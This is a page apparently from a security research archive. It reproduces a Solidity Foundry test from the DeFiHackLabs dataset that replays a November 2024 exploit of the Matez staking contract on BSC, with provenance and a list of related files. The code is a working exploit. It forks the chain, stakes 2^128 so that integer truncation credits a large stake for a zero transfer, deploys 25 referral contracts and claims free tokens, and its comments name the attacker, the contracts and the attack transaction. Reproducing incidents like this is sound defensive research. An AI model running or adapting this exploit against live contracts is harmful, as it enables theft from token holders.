Public reproduction file
src/test/2024-11/Matez_exp.sol
Public reproduction file for dataset entry Matez.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : 80k USD7// Attacker : https://bscscan.com/address/0xd4f04374385341da7333b82b230cd223143c4d628// Attack Contract : https://bscscan.com/address/0x0aD02ce1b8EB978FD8dc4abeC5bf92Dfa81Ed7059// Vulnerable Contract : https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa10// Attack Tx : https://bscscan.com/tx/0x840b0dc64dbb91e8aba524f67189f639a0bc94ee9256c57d79083bb3fd46ec9112// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa#code15// @Analysis16// Post-mortem : N/A17// Twitter Guy : https://x.com/TenArmorAlert/status/185983088596690567018// Hacking God : N/A19pragma solidity ^0.8.0;21address constant MATEZ_STAKING_PROG = 0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa;22address constant MATEZ_TOKEN = 0x010C0D77055A26D09bb474EF8d81975F55bd8Fc9;24contract Matez is BaseTestWithBalanceLog {25 uint256 blocknumToForkFrom = 44222632 - 1;27 function setUp() public {28 vm.createSelectFork("bsc", blocknumToForkFrom);29 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit30 fundingToken = MATEZ_TOKEN;31 }33 function testExploit() public balanceLog {34 //implement exploit code here36 // due to the integer truncation problem, the following number will be truncated to 0,37 // This flaw allowed the attacker to transfer a zero amount of tokens while 38 // being recognized by the contract as having staked a large amount. 39 uint256 amount = 340282366920938463463374607431768211456;40 IMatez matez = IMatez(MATEZ_STAKING_PROG);42 // register current contract43 address sponsor = 0x80d93e9451A6830e9A531f15CCa42Cb0357D511f;44 matez.register(sponsor);45 matez.stake(amount);47 // create enough referrals to enable claim48 for (uint256 i = 0; i < 25; i++) {49 new AttackContract(address(this), amount);50 }52 // claim free MATEZ token and sell it later53 IMatez(MATEZ_STAKING_PROG).claim(uint40(3), uint40(1), 0);55 // keep repeat this process to get more MATEZ token for free56 }57}59contract AttackContract {60 constructor(address sponsor, uint256 amount) {61 IMatez matez = IMatez(MATEZ_STAKING_PROG);62 matez.register(sponsor);63 matez.stake(amount);64 }65}67interface IMatez {68 function register(address _sponsor) external;69 function stake(uint256 amnt) external;70 function claim(uint40 typ, uint40 pkgid, uint256 amount) external;71}Analysis
Dataset entry
Public Foundry test for “Matez” (2024-11-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
- src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
- src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
- src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
- src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
- src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
- src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd4f04374385341da7333b82b230cd223143c4d62
- Attack Contract
0x0ad02ce1b8eb978fd8dc4abec5bf92dfa81ed705
- Vulnerable Contract
0x326fb70ef9e70f8f4c38cfbfaf39f960a5c252fa
- Attack Tx
0x840b0dc64dbb91e8aba524f67189f639a0bc94ee9256c57d79083bb3fd46ec91
- Twitter: https://x.com/TenArmorAlert/status/1859830885966905670
- Explorer: https://bscscan.com/address/0xd4f04374385341da7333b82b230cd223143c4d62
- Explorer: https://bscscan.com/address/0x0aD02ce1b8EB978FD8dc4abeC5bf92Dfa81Ed705
- Explorer: https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa
- Explorer: https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa#code
File record
- Name
- Matez
- Path
- src/test/2024-11/Matez_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 3f50a36594e688ea469f050607070f0a0dee488f
- Language
- Solidity
- Size
- 72 lines
- Date
- 2024-11-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/Matez_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3f50a36594e688ea469f050607070f0a0dee488f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.